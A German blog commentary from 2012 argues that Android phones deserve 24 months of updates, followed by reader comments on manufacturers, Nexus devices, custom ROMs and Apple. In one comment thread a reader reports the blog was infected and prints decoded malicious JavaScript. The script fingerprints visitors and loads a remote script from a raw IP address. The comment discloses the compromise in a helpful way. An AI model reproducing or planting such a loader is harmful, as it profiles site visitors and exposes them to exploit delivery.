Google Android: warum Updates auch nach einem Jahr noch wichtig sind [Kommentar]
Januar 6th, 2012 | Posted by in AndroidGoogle Android hat ein großes Problem. Das Problem heißt Updates. Eigentlich ist diese Problematik schon seit geraumer Zeit bekannt, aber weder Google noch die Hersteller scheinen interessiert daran zu sein, etwas daran zu ändern. Es gibt Kunden, die jedes halbe Jahr ein neues Smartphone kaufen, aber für viele steht der Neukauf erst dann an, wenn ihr Mobilfunkvertrag ausläuft – sprich nach 24 Monaten. In diesem Zeitraum haben die Kunden ein Recht auf aktuelle Software und genau das gewährleistet Google Android nicht.
In den letzten Tagen habe ich häufig mit Leuten geredet, die ein Android-Smartphone nutzen. Es wäre falsch zu behaupten, dass diese mit ihren Smartphones nicht zufrieden wären, im Gegenteil. Dennoch kritisierte jeder die Update-Politik der Hersteller und Google. Das ist interessant, denn Befürworter von Google Android behaupten stets, dass Updates für den Otto Normalverbraucher gar nicht wichtig sind. Gestern habe ich dann schließlich etwas erlebt, was mir verdeutlicht hat, dass das Thema längst in der breiten Öffentlichkeit angelangt ist: bei N-TV tauchte im Ticker plötzlich die Meldung “Samsung blamiert sich: Kein Android 4.0 für das Galaxy S” auf.
Es ist richtig, dass Google Android als mobiles Betriebssystem für technisch versierte Menschen angefangen hat. Eben für diese Benutzergruppe spielte die Offenheit des Systems eine wichtige Rolle und grenzte Android von iOS ab. Alles war möglich, wenn man sich mit dem System auseinandersetzte. Inzwischen basiert fast jedes neue Smartphone auf Google Android. Die meisten Endverbraucher nutzen Google Android nicht, weil sie sich bewusst für das System entschieden haben, sondern weil es eben vorinstalliert war. Aus dem PC-Bereich kennt man das von Windows. Sowohl die Hersteller als auch Google werden dieser Entwicklung bislang nicht gerecht. Das muss sich ändern.
Wer bis zu 600 € für ein Smartphone ausgibt, hat nicht nur ein Recht auf tadellose Hardware sondern auch auf funktionierende und aktuelle Software. Die Tatsache, dass viele Hersteller noch nicht einmal die Funktionalität gewährleisten können, verschärft die Update-Problematik zusätzlich. Wenn etwas nicht funktioniert, erwartet man, dass das Problem schnellstmöglich behoben wird. Aufgrund des recht komplizierten Update-Prozesses, der neben den Herstellern teilweise auch die Netzbetreiber miteinschließt, kann ein solches Update Monate in Anspruch nehmen. Aber auch dann, wenn alles funktioniert, müssen die Hersteller ihren Kunden zeigen, dass sie nicht nur daran interessiert sind, neue Produkte zu verkaufen sondern auch alte weiterzuentwickeln.
Jeder rational denkende Mensch kann nur mit dem Kopf schütteln, wenn er hört, dass sich Unternehmen bis zu acht Monate Zeit lassen, um ein Update bereitzustellen – vor allem dann, wenn es um ein Major-Update wie Ice Cream Sandwich geht. Das Traurige ist, dass man sich noch glücklich schätzen kann, zu den wenigen auserwählten zu gehören die überhaupt in den Genuss des Updates kommen. Die Hersteller sind dabei um keine Ausrede verlegen. In der Regel ist die Hardware schuld. Als die Android-Community noch klein war, mag dies den ein oder anderen noch überzeugt haben. Heutzutage ist es für die Kunden purer Hohn solche Argumente aufgetischt zu bekommen, nur um zwei Minuten später zu erfahren, dass irgendein Hobbyentwickler bereits über ein funktionierendes Update verfügt. Das ist dann der Punkt, an dem Hersteller anfangen, mit der Notwendigkeit des hauseigenen Launchers zu argumentieren, der in Kombination mit dem Update dann tatsächlich zu viel für die Hardware ist. Durch solche Argumentationsmuster wird der Zorn und Verdruss der Endverbraucher allerdings eher noch mehr gefördert.
Fans von Google Android führen spätestens jetzt ins Feld, dass man sich ein Smartphone der Nexus-Reihe kaufen kann oder aufgrund der Offenheit von Android auch ein inoffizielles Update installieren kann. In dem Moment, indem ich mir aber ein Nexus kaufen muss, um Updates zu erhalten, fällt ein Vorteil von Google Android weg, den viele so loben: die Wahlfreiheit der Hardware. Ohnehin hat sich Google selbst ein Bein damit gestellt, dass das Nexus One das Update auf Ice Cream Sandwich schon nicht mehr erhalten wird. Und was ist nun mit den inoffiziellen Updates? Ja, die gibt es. Für die meisten Nutzer sind diese aber schlichtweg uninteressant, da man sich ein Smartphone gekauft hat, um dieses zu benutzen und nicht weil man ein neues Hobby gesucht hat.
Die Fragmentierung von Google Android nimmt stetig zu und allein schon wegen der Offenheit des Systems wird es niemals gelingen Updates so schnell und einfach bereitzustellen, wie das bei iOS und Windows Phone der Fall ist. Das muss auch gar nicht sein. Wichtig ist, dass Google und die Hersteller endlich begreifen, dass Android inzwischen auch bei Lieschen Müller angekommen ist. Um zu verhindern, dass frustrierte Android-Nutzer zur Konkurrenz abwandern, müssen Smartphones über einen Zeitraum von 24 Monaten aktuell gehalten und Updates zeitnah bereitgestellt werden. Keiner beschwert sich, wenn er einen Monat auf eine Aktualisierung warten muss, wenn aber aus dem einen Monat sechs Monate werden, ist das Vertrauen verspielt. Es wird Zeit für Google und die Hersteller umzudenken, oder anders ausgedrückt: Think Different!
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Diskussion läuft. Bin auf eure Kommentare gespannt: http://t.co/meomF96w #Android #Updates
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24 Monate? Nope. 4 – 5 Jahre. So lange nutze ich durchschnittlich PCs und Notebooks.
Abschreibung läuft über 3 – 4 Jahre.
Ich sehe nicht ein, ein Gerät der 600 EUR – Klasse als Wegwerfprodukt zu sehen.
Akkulaufzeit eine Woche und Updates garantiert zeitnah über 4 Jahre – dann kaufe ich mir *ASAP* ein Smartphone.
Solange das nicht ist, bleibe ich bei meinem 10 Jahre alten Siemens ME45 und hole mir alle zwei Jahre einen neuen Akku für 5 EUR dafür … Wenn es kaputt geht: in der Schublade liegt ein Ersatz-ME45 vom Flohmarkt – mit gutem Akku und funktionsfähig für 4 EUR.
Was du beschreibst, wird es für Google Android nie geben – leider. 24 Monate reichen dennoch für 90 % der Leute aus, den dann kaufen sich die meisten wirklich ein neues Gerät. Die technische Entwicklung schreitet heutzutage so schnell voran, dass es einfach unmöglich ist, dass Software für mobile Endgeräte nach 4 Jahren noch immer die Hardware von damals unterstützt. Das würde einfach den Innovationsprozess verlangsamen. Es kommt natürlich immer darauf an, was man machen möchte. Ich kenne auch einige Leute, die lieber weiterhin ihr solides und stabiles Nokia 3330 nutzen :)
Ich hab selbst ein Galaxy S von Samsung und seit ein paar Tagen Android 4.0 per Custom ROM, ohne das Samsung TouchWiz,aber das brauch ja eh kein Mensch. Die Hardware reicht also für ein ICS Update. Aber trotzdem dränge ich nicht drauf.
Von Android 2.3.5 auf 4.0 ist ein Benefit, aber kein Sicherheitsrelevantes Update. Das Handy funktioniert auch mit 2.3.5 sehr gut. Und damit wurde es ausgeliefert und Samsung hat den Vertrag erfüllt. Von Microsoft bekomm ich auch nicht jedes neue Windows gratis, sondern nur die Sicherheitsupdates?! Natürlich versteh ich den Ärger der Kunden, aber ein Anrecht haben sie eben nicht drauf. Wenns sicherheitsrelevant ist, ok dann stände die Sache anders. Aber so?
Das doch z.b. genau das selbe wie Siri beim Iphone. Das wäre sicherlich auch mit dem iPhone4 gehen, aber sie wollen das 4S verkaufen. Das ist Firmenpolitik, nichts anderes.
Und was die allgemeine Update Politik angeht, das finde ich auch bescheiden. Ich finde man sollte mindestens die Provider da raus lassen. Und die Hersteller sollten dem Kunden die Möglichkeit geben die Stock-Rom vom Google zu nutzen oder auf die Herstellerpersonalisierte Version zu warten oder einfach die Updates vom TouchWiz oder Sense UI als zusatz installieren können.
Wenn man halt keine 600 für ein iPhone ausgeben will sondern nur 200€ muss man mit den einschränkungen leben. Dafür spart man 400€.
80% der Android User die ich kenne updaten sowieso nicht und leben nach dem Motto: Never touch a running System.
Bei Apple bekommt aber zum Beispiel das iPhone 3GS noch alle Updates von iOS 5. Siri ist dabei nur ein Feature und kein komplettes System. Am Ende wird ein Smartphone dann volle drei Jahre mit Updates versorgt und bleibt aktuell. Ich bin nicht der Meinung, dass nur sicherheitsrelevante Updates eine Rolle spielen, da sich immer mehr Menschen mit Google Android auseinandersetzen und auch in den Genuss neuer Funktionen kommen wollen. Was Microsoft angeht, so haben bislang alle Windows Phone Smartphones die Updates bekommen.
In einem Punkt hast du recht: wenn man 200 € für ein Smartphone ausgibt, dann kann man nicht den gleichen Komfort erwarten, wie bei einem 600 € teuren Smartphone. Das Problem bei Android ist doch aber, dass viele Smartphones von Haus aus mit Bugs daherkommen und selbst die High-End-Smartphones keine Updates bekommen. Ich meine das Galaxy S war ja kein Schnäppchen ;)
Ich hab für mein SGS 300€ bezahlt, also noch lange nicht dem iPhone Preis z.b vergleichbar. Aber ob Android 4.0 jetzt einen so großen Mehrwert bietet ich weiß nicht.
Für NFC brauch ich eh eine neue aktuelle Hardware. Die Gesichtserkennung zum Entsperren..naja wenn mein Handy mich morgens nach dem Aufstehen nicht erkennt ;)
Mir fällt jetzt ehrlich kein Feature ein, was jetzt so neu ist, ausser den neuen Look. Und selbst ein Laie wie ich bekommt es hin, Android 4.03 auf sein SGS zu flashen. Alleine diese Möglichkeit spricht meiner Meinung für Android. Ich kann andere Kernels mit verbesserten funktionen installieren, mein Handy übertakten usw.
Wie gesagt ich kann die Kunden verstehen die nach 18 Monaten noch gerne ein Update hätten, aber auch Samsung die z.b gerne ihr SGS2 verkaufen möchten.
Abschließend weiß ich nur eins. Mein nächstes Handy wird ein Nexus, also eins der Google Phones, dann hab ich keine Probleme mehr mit Hersteller oder Provider Updates, sondern bekomm meins direkt vom Google.
Android ist das Betriebssystems des Telefons nicht mehr und nicht weniger. Und da ist der Vergleich mit Windows garnicht so falsch. Wenn ich mir einen PC oder Mac kaufe bekomme ich auch nicht nach nem Jahr die neue Version kostenlos als Bonus. Und immerhin bezahle ich ja auch nur für das Android oder iOS was bei Beginn auf dem Telefon drauf ist.
Davon mal ganz abgesehen hat Apple ganze 5 Telefone und 2 Tablets mit Updates zu versorgen. Dass ist schon ein Unterschied zu der Anzahl an Telefonen, die die Android Hersteller mit neuen Versionen zu versorgen haben. Das ist ein komplett unterschiedlicher Aufwand der da zu betreiben ist. Apple ist von der Seite ganz klar im Vorteil.
Wie gesagt der Kunde hat kein Anrecht auf ein neues Betriebssystem und dass es für einige Smartphones eines gibt ist schlicht ein Bonus.
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Ich sehe das Problem weniger bei Google als bei den Herstellern. Sie sind es, die ihre eigenen, angepassten Android-Versionen veröffentlichen, irgendeinen Mist installieren und den Kunden damit gängeln. Später sind sie es, die keine Updates für ihren angepassten Kram veröffentlichen. Dafür kann Google nichts. Google stellt die Plattform bereit – was die Firmen daraus machen, ist ihre Sache. Natürlich könnte Google die Hersteller verpflichten, nur das Grundsystem zu installieren und nichts daran zu verändern. Das würde Google aber enorm viel Marktkraft kosten weil die Hersteller meinen, mit ihren angepassten Systemen den Kunden und ihrer Marke einen Gefallen zu tun. Letzten Endes entscheidet der Kunde. Merkt er, dass z.B. Hersteller A keine Updates liefert, dann kann und sollte er sich das nächste Mal für einen anderen Hersteller entscheiden.
Aber klar muss auch sein: Ich gehe davon aus, dass es 95% der Nutzer egal sein dürfte, ob es ein Update gibt oder nicht. 95% der Nutzer dürften auch gar nicht mal wissen, wie so ein Update funktioniert. Diejenigen Leute, denen so ein Update wichtig ist, werden sich über kurz oder lang nur noch bei den Herstellern einfinden, die einen solchen Support gewährleisten.
Ich selber bin auch deshalb beim iPhone geblieben weil ich mir sicher sein kann, dass mein Handy lange unterstützt wird. Und bis heute wurde ich auch nicht enttäuscht.
Die Tatsache, dass eine solche Meldung einen Eintrag im Ticker von N-TV wert ist, signalisiert aber auch, dass es immer mehr Leute interessiert und die die davon bis jetzt nichts wussten, werden nun von Massenmedien darauf aufmerksam gemacht. Genau dann wird das aber zum Problem für Google und die Hersteller. Und ja, die Hersteller tragen den Hauptteil der Schuld, aber auch Google ist nicht ganz unschuldig, da der Fokus trotz allem auf die Nexus-Reihe gelegt wird.
Die Leute fangen an umzudenken und genau deshalb müssen eben auch Hersteller und Google reagieren :)
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Hey,
ich glaube dein Blog wurde von Malware infiziert.
Avast schlägt beim Laden einer Detailansicht eines Posts (wie z.B. diesem hier) an und blockiert eine Javascript Datei, die nachgeladen wird.
Der Grund ist auch ziemlich offensichtlich, hab die Datei mal analysiert, und im letzten Teil der Datei wird aus einem Hexcode-Array ein Schnipsel zusammengebaut, welches eine weitere Datei von einem Russischen Server nachlädt, und dieser Datei noch zusätzliche Informationen über den User Client mitgibt (mit welchen dann vermutlich ein passender Exploit für den Client ermittelt und gesendet wird.
Betroffen ist die Datei:
http://www.m4gic.net/wp-content/plugins/nrelate-most-popular/admin/common_frontend.min.js
Eine Google Suche nach der russischen IP brachte noch diese Info zum Vorschein:
https://github.com/Craga89/qTip2/issues/286
Danke für das Feedback. Wenn ich den Sicherheitscheck durchlaufen lasse (http://sitecheck.sucuri.net/scanner/) ist alles ok. Wir werden dem Problem aber auf den Grund gehen!
Korrekt, sicherheitschecks hab ich auch versucht, die haben alle nix ergeben, aber schick die genannte JS Datei mal in http://jsbeautifier.org
dann siehst du unten den letzten Teil mit dem hexcode, und den wenn du dekodierst, kommt folgendes raus:
element = document[getElementById](“sc_co”);
if (!element) {
cls = screen.colorDepth;
sw = screen.width;
sh = screen.height;
dc = document.charset;
lc = document.location;
refurl = escape(document.referrer);
ua = escape(navigator.userAgent]);
var js = document.createElement(“script”);
js.id = “sc_co”;
js.src = “http://91.196.216.64/s.php?ref=” + refurl + “&cls=” + cls + “&sw=” + sw + “&sh=” + sh + “&dc=” + dc + “&lc=” + lc + “&ua=” + ua;
var head = document.getElementsByTagName(“head”)[0];
head.appendChild(js);
};
Die IP ist russisch, und dazu findet google dann genug ;)
Bekommst du die Meldung jetzt immer noch?
Nein, jetzt ist die Seite wieder sauber.
:)
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Zu der Sache mit der Möglichkeit des Flashens:
Mit einem Jailbreak kann man sich auch Siri installieren auf einem iPhone4. Das Argument ist ziemlich Banane.
Das ist es ja. Die Hersteller sagen, das die Hardware nicht reicht. Aber im Grunde genommen wollen sie ihre neuen Smartphones verkaufen. Wenn man Siri auf dem Ip4 hat. Brauch man dann wirklich das 4S?
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Sorry, aber Google Android hat offensichtlich kein Problem: Es ist das erfolgreichste Smartphone OS überhaupt. Ob es das Beste, Schnellste, Stabilste, Sicherste etc. ist, sei dahingestellt.
Und vielleicht hat diese ganze Fragmentierung und Freiheit genau zu diesem Erfolg geführt? Und vielleicht ist nun Googles Schritt, mit ICS jetzt mehr Einheit zu fordern der nächste Schritt zu weiterem, noch größeren Erfolg? Offensichtlich hat aber Android für die meisten kein ernsthaftes Problem.
Viele Grüße
Martin
PS Und seit wann stellt N-TV eine Referenz für Hightech, Gadgets und ähnliches dar?! Vielleicht saß einfach ein Apple Jünger mehr in der Redaktion. ;-)
PPS Übrigens, zwei Apple Geräte habe ich auch im Einsatz ;-)
Hallo Martin,
wenn man Erfolg nur anhand des Marktanteils misst, dann hast du sicherlich recht. Wenn man aber beispielsweise die Kundenzufriedenheit und ähnliche Faktoren mit einbezieht, sieht es düster aus. Jedes Mal, wenn ich mit Leuten rede, die Android nutzen, kommt irgendwann der Satz: “Kein Vergleich zum iPhone, hätte ich nur nicht gewechselt.”
Natürlich trägt die Fragmentierung zum Erfolg bei, da diese es erlaubt, dass es hunderte Google Android Smartphones gibt, die es gerade so schaffen, gegen die wenigen Modelle von Apple in Konkurrenz zu treten. Jedes neue Smartphone ist mit Google Android ausgestattet, deshalb auch der wachsende Marktanteil. Es gibt ja keine Alternativen, denn sowohl das iPhone als auch Windows Phone 7 Smartphones gibt es nicht im unteren Preissegment. Ob Google mit ICS das Chaos beseitigt, bezweifle ich, da viele Smartphones erst einmal gar kein ICS bekommen (teilweise erst Ende diesen Jahres).
Und ja, viele haben damit kein Problem, aber da Android eben immer populärer wird (wofür eben auch die Ticker-Meldung spricht), gibt es immer mehr Leute, die es dann tatsächlich interessiert.
[quote]Wenn man aber beispielsweise die Kundenzufriedenheit und ähnliche Faktoren mit einbezieht, sieht es düster aus. Jedes Mal, wenn ich mit Leuten rede, die Android nutzen, kommt irgendwann der Satz: “Kein Vergleich zum iPhone, hätte ich nur nicht gewechselt.[/quote]
Das ist natürlich völlig subjektiv, genau so subjektiv wie mein Eindruck das die meisten “Wechsler” gottfroh sind mal kein iPhone zu besitzen und sich eine neue (bessere?) Welt zu erschließen zu können. Und wenn wir schon dabei sind: Ich höre auch immer öfter: “Ein iPhone hat jedes Kind, das reizt jetzt gar nicht mehr”. Das ist auch eine interessante Entwicklung für ein High-End-Gerät. Offensichtlich ist die Marktdurchdringung zu groß und die Innovationssprünge zu klein, dass eine gewisse Zielgruppe keine Lust mehr auf iPhones und echte Alternativen finden kann (objektiver Fakt = Marktanteil)?!
Lesenswert: Google Android: warum Updates auch nach einem Jahr noch wichtig sind [Kommentar] http://t.co/2SEqTdtI #fb